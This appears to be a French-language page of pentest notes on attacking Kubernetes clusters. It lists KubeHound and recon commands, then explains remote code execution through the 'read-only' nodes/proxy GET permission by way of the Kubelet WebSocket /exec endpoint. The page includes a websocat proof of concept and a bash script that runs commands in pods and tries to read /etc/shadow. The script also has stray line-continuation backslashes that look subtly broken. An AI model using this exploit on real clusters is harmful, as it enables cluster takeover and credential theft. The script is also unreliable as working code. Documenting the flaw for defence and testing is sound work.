Kubernetes

Kubehound

Kubehound est un outil permettant de créer des graghiques de chemins d'attaque pour les clusters Kubernetes.

ressource: https://github.com/DataDog/KubeHound

Recon

Ouvrir un terminal dans un Pod:

kubectl exec -it <name> -- sh

Lister les permissions d'un Pod:

kubectl auth can-i --list

RCE via permission nodes/proxy

Description

la permission Kubernetes nodes/proxy GET, ressemblant d'apparence à une permission "read-only" peut être détournée pour exécuter des commandes à distance dans n’importe quel Pod accessible sur les nœuds du cluster.

Prérequis

• Un service account avec la permission RBAC :

  • nodes/proxy avec le verbe GET

• Une connectivité réseau vers le Kubelet (port 10250) des nœuds

• Accès à un Pod ou un environnement où ce token est utilisable

• Des outils capables de parler WebSocket (ex : websocat)

Détails techniques

1. Mauvaise interprétation RBAC

• Kubernetes mappe les permissions RBAC selon la méthode HTTP.

• GET autorise nodes/proxy GET, considéré comme lecture.

2. Problème avec WebSockets

• L’endpoint /exec du Kubelet utilise WebSockets.

• Une connexion WebSocket commence par un HTTP GET (upgrade handshake).

Résultat :

• Le Kubelet valide uniquement le GET initial

• Il ne revalide pas l’opération réelle (exec) après upgrade

3. Contournement

• L’attaquant initie une connexion WebSocket vers /exec

• L’autorisation est validée sur le GET du handshake

• Puis la connexion est utilisée pour exécuter des commandes dans le conteneur

4. Impact

• Exécution de commandes dans n’importe quel Pod accessible

• Accès à des Pods système

• Possibilité d’extraction de secrets et pivot dans le cluster

• Potentiellement prise de contrôle complète du cluster

Proof Of Concept (PoC)

websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"

uid=0(root) gid=0(root) groups=0(root)

#!/bin/bash
# Colors
RED=$(tput setaf 1)
BLUE=$(tput setaf 4)
YELLOW=$(tput setaf 3)
GREEN=$(tput setaf 2)
ENDCOLOR=$(tput sgr0)
TICK="[${GREEN}+${ENDCOLOR}] "
TICK_MOVE="[${GREEN}~>${ENDCOLOR}] "
TICK_BACKUP="[${GREEN}<~${ENDCOLOR}] "
TICK_INPUT="[${YELLOW}!${ENDCOLOR}] "
TICK_ERROR="[${RED}!${ENDCOLOR}] "
# Config
NODE_IP="${NODE_IP:?NODE_IP not set}"
TOKEN="${TOKEN:?TOKEN not set}"
NAMESPACE="${NAMESPACE:-default}"
POD="${POD:-nginx}"
CONTAINER="${CONTAINER:-nginx}"
exec_cmd() {
    local cmd="$1"
    local args=""
    for arg in $cmd; do
        args+="&command=$arg"
    done
    args="${args:1}"  # strip leading &
    timeout 3 websocat --insecure -E \
        --header "Authorization: Bearer $TOKEN" \
        --protocol v4.channel.k8s.io \
        "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&$args" 2>/dev/null \
        | grep -v '{"metadata":{}' \
}
echo ""
echo "${TICK}Target: ${YELLOW}$NODE_IP:10250 ${ENDCOLOR}"
echo "${TICK}Pod: ${YELLOW}$NAMESPACE/$POD${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching hostname..."
hostname=$(exec_cmd "cat /etc/hostname" | tr -d '\n\r') \
echo "${TICK}Hostname: ${GREEN}$hostname${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Fetching identity..."
identity=$(exec_cmd "id")
echo "${TICK}Identity: ${GREEN}$identity${ENDCOLOR}"
echo ""
echo "${TICK_MOVE}Attempting to read /etc/shadow..."
shadow=$(exec_cmd "cat /etc/shadow")
if [[ -n "$shadow" ]]; then \
    echo "${TICK}${RED}Successfully read /etc/shadow:${ENDCOLOR}"
    echo "$shadow"
else
    echo "${TICK_ERROR}Could not read /etc/shadow"
fi

Sources

Kubernetes Remote Code Execution Via Nodes/Proxy GET PermissionGraham Helton

Kubernetes RCE: Exploiting nodes/proxy GET | iximiuz Labsiximiuz Labs